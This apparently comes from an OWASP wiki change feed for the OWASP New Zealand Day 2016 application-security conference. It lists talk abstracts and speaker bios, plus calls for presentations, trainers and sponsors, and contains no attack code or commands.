Using the latest and greatest technology stack only gets you so far. But to maintain the reputation of producing market leading, enterprise-level solutions, robust security practices are a must. Making security a key component of your SDLC with minimal interruption can be achieved with assistance from an OWASP project (or a few), coupled with a lot of passion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Chris, who in a past life was a .NET developer, is a Security &amp;amp; Operations Consultant at Jade Software. His role sees him managing operational and user security, and overseeing both the security and architecture of development and operational projects which span a wide variety of industries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Sergey Ozernikov - Lateral Security - Oauth 2.0: The Promise and Pitfalls===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OAuth 2.0, the second version of the popular authorisation framework, was proposed as an IETF standard in October 2012 and has since been implemented and used by companies such as Facebook, Google and Microsoft. In January 2013 an RFC containing a comprehensive threat model of OAuth 2.0 was introduced. It was as long as the initial specification which had left out a lot of security considerations, most likely as it was assumed that developers would know how to securely implement OAuth 2.0. However many didn’t and without the necessary security controls, many relatively benign web application vulnerabilities could now flourish on a much larger and bountiful attack surface. An open redirect directly leading to an account compromise? Easy. In this talk, an overview of what should be catered for when integrating OAuth 2.0 into your project and how not to introduce additional security risks, will be provided. Most common attack vectors and some examples of real-life vulnerabilities in OAuth 2.0 implementations will be presented. Ideally attendees should have a basic understanding of OAuth 2.0 flow and web application security.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sergey has gained his experience in the field of information security working for several Russian commercial and government organisations for around 7 years after finally realising that he enjoys breaking and protecting things more than building them.  In 2013 he moved to New Zealand and shortly after joined Lateral Security as a security consultant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Chris Smith - Insomnia Security - Attacking Real-World Crypto Flaws===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Everybody knows by now not to roll your own crypto, right? RIGHT? But, as an attacker, how do you go about identifying and exploiting these flaws for your own benefit. And, as a defender, how can you gauge the full impact of such flaws and ensure you steer clear of them?&lt;br /&gt;
 &lt;br /&gt;
So forget about the LUCKYBEASTCRIMEPOODLE13 for now, this talk is going to focus on real-world crypto flaws in everyday software. We'll look at some cryptographic issues I've come across in my travels, and how to exploit them. And along the way, we might just learn something about doing it correctly, too!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Chris is a consultant for Insomnia Security where he breaks other peoples stuff and writes reports about it. Previously a Linux sysadmin and polyglot developer, he now exacts his revenge on technologies that have wronged him.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Felix Shi - Xero - Practical Attacks on WebRTC Applications===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
WebRTC is a browser-based technology that allows peer-to-peer communication via a list of predefined APIs. It has gained popularity among many video conferencing, telephony, and file sharing applications. &lt;br /&gt;
&lt;br /&gt;
Research has been done on its design, architecture, and potential attack vectors against applications that use it. This talk will focus on practical attacks that can be performed on applications that use WebRTC, and how to mitigate against them.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Felix works in the product security space at an online accounting software company named Xero. He joined in 2014 and his day job involves securing and breaking internally developed products. Before Xero he spent his previous years as a developer, and has been dabbling in the information security scene in Wellington.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Nilesh Kapoor - Aura Information Security - Host Hardening : Achieve or Avoid?===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is still a question mark for most of the business and application owners; host hardening – Avoid or Achieve. This paper covers the real world scenario of a potential server compromise due to the lack of OS hardening, running secure but unpatched services over the Internet and the host review process and approach backed up with OWASP guideline and CIS benchmark. This talk also touches on host review and hardening automation techniques for medium-sized and enterprise organisations.&lt;br /&gt;
 &lt;br /&gt;
This topic aims;&lt;br /&gt;
Increase the awareness and importance of host review and hardening among business owners, application owners, server administrators and developers.&lt;br /&gt;
Answer basic questions such as what host review involves, what approach is recommended for structured host review and achieving compliance, how to create a hardening baseline standard and apply them to your organisation policy&lt;br /&gt;
Automate host review process and hardening for servers hosting critical data&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nilesh Kapoor is the author of “Security Testing Handbook for Banking Applications” published by IT Governance. He is currently working as a Senior Security Consultant with Aura Information Security. He has over 8 years of experience in security consulting, application security, host review and hardening, network security, enterprise solution security and mobile security. He is also a registered penetration tester with CREST and a CEH certification holder. His articles are published on IITP blogs and also maintain own security blog at http://nileshkapoor.blogspot.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Shahn Harris - Beca Ltd - I judge all of your services and applications===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
I will explain the process that goes on inside a corporate/enterprise when a corporate security team is contacted to evaluate a new application or service by a business unit.&lt;br /&gt;
The first questions asked have nothing to do with your SDLC, choice of code, framework or potential integration points. the questions are more what is it, what does it do and where does it live and what do they know.&lt;br /&gt;
Come to this talk if you wish to discover what information most large corporates/enterprises will ask of you if you try to sell a product/service to them. By taking the learnings from this talk it could potentially save you lots of time,money and&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Shahn has worked for/with a number of different flagship New Zealand companies across multiple sectors and industries as a security consultant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Laura Bell - SafeStack - Continuous Security===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agile development is a powerful tool for the creation of high-quality software products. It has however scared the life out of many security managers and risk leaders. Once the job of a dedicated security team, security is now the responsibility of all members of our Agile teams.&lt;br /&gt;
&lt;br /&gt;
So how do we bring continuous security to our lifecycles without compromising velocity and innovation? What tools and techniques do we need and when should we apply them?&lt;br /&gt;
&lt;br /&gt;
In this talk, we will examine why security is the new key skills for successful Agile development teams and what you can do to bring it to your teams.&lt;br /&gt;
&lt;br /&gt;
This is a talk of war stories from the SCRUM team trenches and real world tools, techniques and processes that are less about 'managing' security than they are about building amazing(secure) things, fast.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With almost a decade of experience in software development and information security, Laura specialises in bringing security survival skills, practices and culture into fast-moving environments.&lt;br /&gt;
&lt;br /&gt;
Laura has spoken at various events such as BlackHat, BlueHat, Velocity, OSCON, Kiwicon, Linux Conf AU and Microsoft TechEd on the subjects of privacy, covert communications, Agile security and security mindset.&lt;br /&gt;
&lt;br /&gt;
Laura is the founder of SafeStack, a specialist security training, development, and consultancy firm and lives in Auckland with her husband and daughter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Kevin Alcock - Katipo Information Security Ltd - After 30 Years, I’m Coming Out===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This talk is about my journey	from a software development veteran with 30 years of experience to an information security noob. The intended audience is for information security noobs looking to get better and web application developers wanting to understand how their applications are vulnerable. The focus is on the Offensive Security (makers of Kali Linux) course Penetration Testing Training with Kali Linux and the Offensive Security Certified Professional (OSCP) certification exam. There will be no spoilers for those that are currently doing the course and exam.  OWASP projects such as ZAP, Dirbuster and Broken Web Applications will be discussed on how they help me. I will also discuss which of the OWASP Top 10 (2013) vulnerabilities I used to gain access to the systems on the lab network.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kevin has spent the last 30 (10 in North America) years in enterprise software development and delivery, now he is turn that experience towards the information security sector to help businesses in need.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Carlos Cordero - Convergnce - Information Security is a Marketing Responsibility===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
KPMG’s Global CEO Outlook Survey (July 2015) showed that 50% of global CEO’s say that their organisations are “not fully prepared” for a “cyber event”.  Additionally, information security related risks are perceived to be “the most unpredictable kind of risk”. CEOs and Boards expect the IT function to take care of this aspect of the business risk portfolio - for obvious reasons: they own the IT infrastructure or manage it on behalf of other functions (logistics, operations, HR, accounting, finance, etc.).  Unfortunately, nobody has told the marketers.&lt;br /&gt;
&lt;br /&gt;
In the last 3 to 5 years, marketing departments have taken upon themselves to bring into the organisation a smorgasbord of systems and applications, with little or no consultation with the IT department.  The result is an unprecedented increase of infosec and legal risks that few organisations are even aware off, much less managing.&lt;br /&gt;
&lt;br /&gt;
Our presentation would consist of 15-20 minutes sharing: &lt;br /&gt;
&lt;br /&gt;
In this presentation we will: (1) Describe briefly the current situation and how we got to it. (2) Give an insight into the mindset of “the marketer” and an explanation of why “marketers” are oblivious to security. (3) Suggest a map of the marketing-related risks for businesses in the 201X going forward into the 202X (4) Offer a prediction of the evolution of the marketing-related risks and its implications for information security professionals. (5) Offer suggestions regarding how these risks should be approached in order to reduce the exposure that the marketing department is bringing to the organisation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Carlos is a marketing and intelligence consultant.  One of his current areas of interest and research is risk in the marketing context.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Andrew Kelly - Insomnia Security - Two-Thirds of the Sacred Triangle===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;quot;People, Process, and Technology&amp;quot; has been the sacred mantra, or triad, of IT for as long as I've been in the business. Unfortunately, whether you consider it a 'strategy for success', part of your overall 'holistic approach', or even 'the smell of good business', it's too often ignored. That is, two of the three are, as we all race to install faster, cheaper, more efficient, or 'better' technologies, in order to save money, stay ahead of our competitors, or sometimes even just for the sake of it? My talk will, hopefully, remind you that that &amp;quot;People, Process&amp;quot; part is as important as, maybe even more so, than the tech. Or, as Douglas Adams put it: &amp;quot;It is a mistake to think you can solve any major problems just with potatoes.&amp;quot;&lt;br /&gt;
List of the author's previous papers/articles/speeches on the same/similar topic: Previously, and similar, at ISIG, ISF, OWASP, etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Andrew started in InfoSec back when the dinosaur's still ruled the Earth. At least, that's how his fellow InfoSec workers, and often his audiences, view him anyways. But, even though his useful working life is slowly coming to its inevitable end, he reckons he still has a little something to offer his fellow IT professionals. Even if every other sentence these days begins with: &amp;quot;Back in my day...&amp;quot; and most of the others with: &amp;quot;Damned kids...&amp;quot; Between nanny naps, Andrew is still relatively gainfully employed as the GM for Insomnia Security.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Daniel Jensen - Security Assessment - Practical exploitation of less commonly identified vulnerabilities===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Recently I decided to look for some slightly more&lt;br /&gt;
&amp;quot;complex&amp;quot; vulnerabilities in a PHP project. The open source video&lt;br /&gt;
platform Kaltura was chosen for no particular reason other than looking&lt;br /&gt;
vulnerable and having no prior CVEs. Surprisingly, a large PHP based&lt;br /&gt;
project actually contained some fairly serious (and interesting) issues&lt;br /&gt;
such as SSRF, object injection, and poor cryptography. This talk will&lt;br /&gt;
provide some practical advice for finding less commonly identified&lt;br /&gt;
vulnerabilities, their impact, and how to mercilessly exploit them in a&lt;br /&gt;
real world application, using Kaltura as our test subject.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Daniel is a consultant at Security-Assessment.com&lt;br /&gt;
where he hacks assorted systems and carries out research (read hacks).&lt;br /&gt;
Before that he enjoyed a brief stint as a sysadmin, and spent too many&lt;br /&gt;
years south of the Cook Strait in a misguided attempt at attending&lt;br /&gt;
university. He currently resides in the bustling metropolis that is&lt;br /&gt;
Auckland City, and resents having to write his own biography.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Brendan Jamieson - Insomnia Security - Deserialization, what could go wrong?===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So you're just gonna pass off that data to unserialize()? What could&lt;br /&gt;
possibly go wrong?&lt;br /&gt;
&lt;br /&gt;
This talk is focused on the deserialization class of web application&lt;br /&gt;
vulnerabilities. What are they? How are they introduced into web&lt;br /&gt;
applications? Just how bad can deserializing that arbitrary object&lt;br /&gt;
really be?&lt;br /&gt;
&lt;br /&gt;
In this talk we'll cover real-world examples of deserialization&lt;br /&gt;
vulnerabilities being introduced, and exploited, across a number of&lt;br /&gt;
languages. We'll then look at options that are available to developers&lt;br /&gt;
to avoid introducing this class of vulnerability into their applications.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Brendan Jamieson is a security consultant for Insomnia Security, based&lt;br /&gt;
out of Wellington. He is active in the .nz infosec community, having&lt;br /&gt;
spoken at Wellington's ISIG, and involved in Kiwicons as a speaker; a&lt;br /&gt;
trainer; and also the event organiser for the Hamiltr0n CTF.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===David Waters - Lateral Security - Source Code Reviews: Why You Should===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this talk I will give the case that you should be using&lt;br /&gt;
security focused code review as part of your defensive strategy.&lt;br /&gt;
I will talk about the types of bugs that are more easily found&lt;br /&gt;
with either white-box penetration tests or code reviews as opposed&lt;br /&gt;
to more limited penetration tests. I will then present some real world&lt;br /&gt;
examples of issues found during code reviews.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
David is a Senior Security Consultant at Lateral Security, David&lt;br /&gt;
previously worked in the Security Team at Google in London and draws&lt;br /&gt;
on 16 years experience as a systems and web developer, primarily&lt;br /&gt;
working in .NET, Java and JavaScript.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--= Call For Presentations =&lt;br /&gt;
==Call For Presentations==&lt;br /&gt;
&lt;br /&gt;
OWASP New Zealand Day conferences attract a high quality of speakers from a variety of security disciplines including&lt;br /&gt;
architects, web developers and engineers, system administrators, penetration testers, policy specialists and more.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We would like a variety of technical levels in the presentations submitted, corresponding to the three sections of the conference:&lt;br /&gt;
&lt;br /&gt;
* Introductions to various Web Application Security topics, and the OWASP projects&lt;br /&gt;
* Technical topics&lt;br /&gt;
* Policy, Compliance and Risk Management&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The introductory talks should appeal to an intermediate to experienced web developer, without a solid grounding in web application security or knowledge of the OWASP projects. These talks should be engaging, encourage developers to learn more about web application security, and give them techniques that they can immediately return to work and apply to their jobs.&lt;br /&gt;
&lt;br /&gt;
Technical topics in the afternoon should appeal to two audiences - experienced web application security testers or researchers, and web developers who have a “OWASP Top Ten” level of understanding of web attacks and defenses. You could present a lightning, short or long talk on something you have researched, developed yourself, or learnt in your travels. Ideally the topics will have technical depth or novelty so that the majority of attendees learn something new.&lt;br /&gt;
&lt;br /&gt;
For the “Management Stream” in the afternoon we would like to invite talks that will appeal to those interested in the various non-technical topics that are important in our industry. These talks could focus on the development of policies, dealing with compliance obligations, managing risks within an enterprise, or other issues that could appeal to those in management roles.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We encourage presentations to have a strong component on fixing and prevention of security issues. We are looking for presentations on a wide variety of security topics, including but not limited to:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Web application security&lt;br /&gt;
* Mobile security&lt;br /&gt;
* Secure development&lt;br /&gt;
* Vulnerability analysis&lt;br /&gt;
* Threat modelling&lt;br /&gt;
* Application exploitation&lt;br /&gt;
* Exploitation techniques&lt;br /&gt;
* Threat and vulnerability countermeasures&lt;br /&gt;
* Platform or language security (JavaScript, NodeJS, .NET, Java, RoR, etc)&lt;br /&gt;
* Penetration Testing&lt;br /&gt;
* Browser and client security&lt;br /&gt;
* Application and solution architecture security&lt;br /&gt;
* PCI DSS&lt;br /&gt;
* Risk management&lt;br /&gt;
* Security concepts for C*Os, project managers and other non-technical attendees&lt;br /&gt;
* Privacy controls&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The email subject must be &amp;quot;OWASP New Zealand 2016: CFP&amp;quot; and the email body must contain the following information/sections:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Name and Surname&lt;br /&gt;
* Affiliation&lt;br /&gt;
* Telephone number&lt;br /&gt;
* Email address&lt;br /&gt;
* Short presenter bio&lt;br /&gt;
* Title of the contribution&lt;br /&gt;
* Type of contribution: Technical, Informative, Management&lt;br /&gt;
* Suggested length for the talk&lt;br /&gt;
* Short abstract (up to 500 words)&lt;br /&gt;
* List of the author's previous papers/articles/speeches on the same/similar topic (if any)&lt;br /&gt;
* If you are not from New Zealand, will your company support your travel/accommodation costs? - Yes/No&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The submission will be reviewed by the OWASP New Zealand Day conference committee and the highest voted talks will be selected and invited for presentation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
PLEASE NOTE:&lt;br /&gt;
&lt;br /&gt;
* Due to limited budget available, expenses for international speakers cannot be covered.&lt;br /&gt;
* If your company is willing to cover travel and accommodation costs, the company will become &amp;quot;Support Sponsor&amp;quot; of the event.&lt;br /&gt;
&lt;br /&gt;
Please submit the above information to all of the following: Denis Andzakovic (denis.andzakovic@owasp.org), Adrian Hayes (adrian.hayes@owasp.org) and Kim Carter (kim.carter@owasp.org).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Submissions deadline: 7th December 2015&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Call For Trainers =&lt;br /&gt;
== Call For Trainers ==&lt;br /&gt;
&lt;br /&gt;
We are happy to announce that training will run on Wednesday February 3rd 2016, the day before the OWASP Day conference.&lt;br /&gt;
The training venue will be Level 0, Room: 40C, kindly provided by the University of Auckland School of Commerce, in the same building as the OWASP NZ Day conference itself.&lt;br /&gt;
Classes will contain up to 48 students, with power for laptop usage and Wi-Fi. A wide range of half-day or full-day training proposals will be considered,&lt;br /&gt;
see the Call for Papers for a list of example topics.&lt;br /&gt;
&lt;br /&gt;
If you are interested in running one of the training sessions, please contact Denis Andzakovic, Adrian Hayes and Kim Carter with the following information:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Trainer name&lt;br /&gt;
* Trainer organisation&lt;br /&gt;
* Telephone + email contact&lt;br /&gt;
* Short Trainer bio&lt;br /&gt;
* Training title&lt;br /&gt;
* Trainer requirements (e.g. a projector, whiteboard, etc)&lt;br /&gt;
* Trainee requirements (e.g. laptop, VMware/VirtualBox, etc)&lt;br /&gt;
* Training summary (less than 500 words)&lt;br /&gt;
* Target audience (e.g. testers, project managers, security managers, web developers, architects)&lt;br /&gt;
* Skill level required (Basic / Intermediate / Advanced)&lt;br /&gt;
* What attendees can expect to learn (key objectives)&lt;br /&gt;
* Short course outline&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The fixed price per head for training will be $250 for a half-day session and $500 for a whole-day session. As this training is part of an OWASP event, part of the proceeds go back to OWASP. The split is as follows:&lt;br /&gt;
&lt;br /&gt;
* 25% to OWASP Global - used for OWASP projects around the world&lt;br /&gt;
* 25% to OWASP NZ Day - used for expenses such as catering during the conference&lt;br /&gt;
* 50% to the training provider.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Please submit the above information to all of the following:&lt;br /&gt;
* Denis Andzakovic (denis.andzakovic@owasp.org)&lt;br /&gt;
* Adrian Hayes (adrian.hayes@owasp.org)&lt;br /&gt;
* Kim Carter (kim.carter@owasp.org).&lt;br /&gt;
&lt;br /&gt;
Submissions deadline: 7th December 2015&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Call For Sponsorships =&lt;br /&gt;
==Call For Sponsorships==&lt;br /&gt;
&lt;br /&gt;
OWASP New Zealand Day 2016 will be held in Auckland on the 4th of February, 2016 and is a security conference entirely dedicated to application security.&lt;br /&gt;
The conference is once again being hosted by the University of Auckland with their support and assistance.&lt;br /&gt;
OWASP New Zealand Day 2016 is a free event, but requires sponsor support to help be an instructive and quality event for the New Zealand community.&lt;br /&gt;
OWASP is strictly not for profit. The sponsorship money will be used to help make OWASP New Zealand Day 2016 a free, compelling, and valuable experience for all attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The sponsorship funds collected are to be used for things such as:&lt;br /&gt;
&lt;br /&gt;
* Refreshments (coffee breaks) - we want to keep people refreshed during the day.&lt;br /&gt;
* Name tags - we feel that getting to know people within the New Zealand community is important, and name tags make that possible.&lt;br /&gt;
* Promotion - up to now our events are propagating by word of mouth. We would like to get to a wider audience by advertising our events.&lt;br /&gt;
* Printed Materials - printed materials will include brochures, tags and lanyards.&lt;br /&gt;
&lt;br /&gt;
== Facts ==&lt;br /&gt;
&lt;br /&gt;
Last year, the event was supported by eight sponsors and attracted more than 230 participants. Plenty of constructive (and positive!) feedback from the audience was received and we are using this to make the conference more appealing to more people. For more information on the last New Zealand Day event, please visit: https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2015&lt;br /&gt;
&lt;br /&gt;
The OWASP New Zealand community is strong, there are more than 410 people currently subscribed to the mailing-list. OWASP New Zealand Day is expected to attract between 400 and 500 attendees this year.&lt;br /&gt;
&lt;br /&gt;
OWASP regular attendees are IT project managers, IT security managers, IT security consultants, web application architects and developers, QA managers, QA testers and system administrators.&lt;br /&gt;
&lt;br /&gt;
== Sponsorships  ==&lt;br /&gt;
&lt;br /&gt;
There are three different levels of sponsorships for the OWASP Day event:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Support Sponsorship&amp;lt;/b&amp;gt;: (Covering international speaker travel expenses, media coverage/article/promotion of the event)&lt;br /&gt;
   &lt;br /&gt;
Includes:&lt;br /&gt;
&lt;br /&gt;
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Silver Sponsorship&amp;lt;/b&amp;gt;: 1500 NZD&lt;br /&gt;
&lt;br /&gt;
Includes: &lt;br /&gt;
&lt;br /&gt;
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016&lt;br /&gt;
* The publication of the sponsor logo in the event site, in the agenda, on the handouts and in all the official communications with the attendees at the conference.&lt;br /&gt;
* The possibility to distribute the company brochures, CDs or other materials to the participants during the event.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Gold Sponsorship&amp;lt;/b&amp;gt;: 2750 NZD&lt;br /&gt;
&lt;br /&gt;
Includes: &lt;br /&gt;
&lt;br /&gt;
* The possibility to have a promotional banner or sign side stage in the main auditorium (to be provided by the sponsor, size subject to approval by the OWASP NZ Day Committee).&lt;br /&gt;
* The publication of the sponsor logo in the event site, in the agenda, on the handouts and in all the official communications with the attendees at the conference.&lt;br /&gt;
* The possibility to distribute the company brochures, CDs or other materials to the participants during the event.&lt;br /&gt;
* Publication of the sponsor logo on the OWASP New Zealand Chapter page - Sponsor logo on the OWASP NZ site prior and during the OWASP Day event - https://www.owasp.org/index.php/New_Zealand&lt;br /&gt;
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Those who are interested in sponsoring OWASP New Zealand 2016 Conference can contact the [mailto:kim.carter@owasp.org?cc=adrian.hayes@owasp.org?cc=denis.andzakovic@owasp.org OWASP New Zealand Board].&amp;lt;br&amp;gt;&lt;br /&gt;
 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP AppSec Conference]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_New_Zealand_Day_2016&amp;diff=202053</id>
		<title>OWASP New Zealand Day 2016</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_New_Zealand_Day_2016&amp;diff=202053"/>
				<updated>2015-10-12T20:52:54Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: syntax for mailto: URL&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016 https://www.owasp.org/images/2/23/OWASP_NZ_Day_2016_logo.jpg]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''3rd and 4th Feburary 2016 - Auckland'''&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Introduction =&lt;br /&gt;
==Introduction==&lt;br /&gt;
We are proud to announce the seventh OWASP New Zealand Day conference, to be held at the University of Auckland on Thursday February 4th, 2016. OWASP New Zealand Day is a one-day conference dedicated to application security, with an emphasis on secure architecture and development techniques to help Kiwi developers build more secure applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Who is it for?&lt;br /&gt;
&lt;br /&gt;
* Web Developers: The morning sessions will introduce you to application security. Afternoon sessions will dive deeper into technical topics, and build on the morning sessions.&lt;br /&gt;
* Management: After an introduction to web application security, one of the afternoon streams will focus on policy, compliance and risk management.&lt;br /&gt;
* Security Professionals and Enthusiasts: Technical sessions later in the day will showcase new and interesting attack and defence topics.&lt;br /&gt;
&lt;br /&gt;
==Conference structure==&lt;br /&gt;
&lt;br /&gt;
Date: Thurs 4 Feb 2016&amp;lt;br&amp;gt;&lt;br /&gt;
Time: 9:00am - 5:00pm&amp;lt;br&amp;gt;&lt;br /&gt;
Cost: Free&amp;lt;br&amp;gt;&lt;br /&gt;
Food: Morning and Afternoon tea&lt;br /&gt;
&lt;br /&gt;
The main conference is on Thursday 4th of February, and will have three streams:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;border:1px solid black;&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;10%&amp;quot; style=&amp;quot;text-align:center; border:1px solid black&amp;quot;&amp;gt;Morning&amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;90%&amp;quot; colspan=&amp;quot;2&amp;quot; style=&amp;quot;border:1px solid black; padding: 0px 0px 0px 12px;&amp;quot;&amp;gt;Introductions to application security topics&amp;lt;/td&amp;gt;&lt;br /&gt;
   &amp;lt;/tr&amp;gt;&lt;br /&gt;
   &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;10%&amp;quot; style=&amp;quot;text-align:center; border:1px solid black;&amp;quot;&amp;gt;Afternoon&amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;45%&amp;quot; style=&amp;quot;border:1px solid black; padding: 0px 0px 0px 12px;&amp;quot;&amp;gt;Deeply technical topics&amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;45%&amp;quot; style=&amp;quot;border:1px solid black; padding: 0px 0px 0px 12px;&amp;quot;&amp;gt;Policy, Compliance, and Risk Management&amp;lt;/td&amp;gt;   &lt;br /&gt;
   &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Training==&lt;br /&gt;
&lt;br /&gt;
Date: Wed 3 Feb 2016&amp;lt;br&amp;gt;&lt;br /&gt;
Time: 9:00am - 5:00pm or part thereof&amp;lt;br&amp;gt;&lt;br /&gt;
Cost: To be advised&amp;lt;br&amp;gt;&lt;br /&gt;
Food: Lunch provided&lt;br /&gt;
&lt;br /&gt;
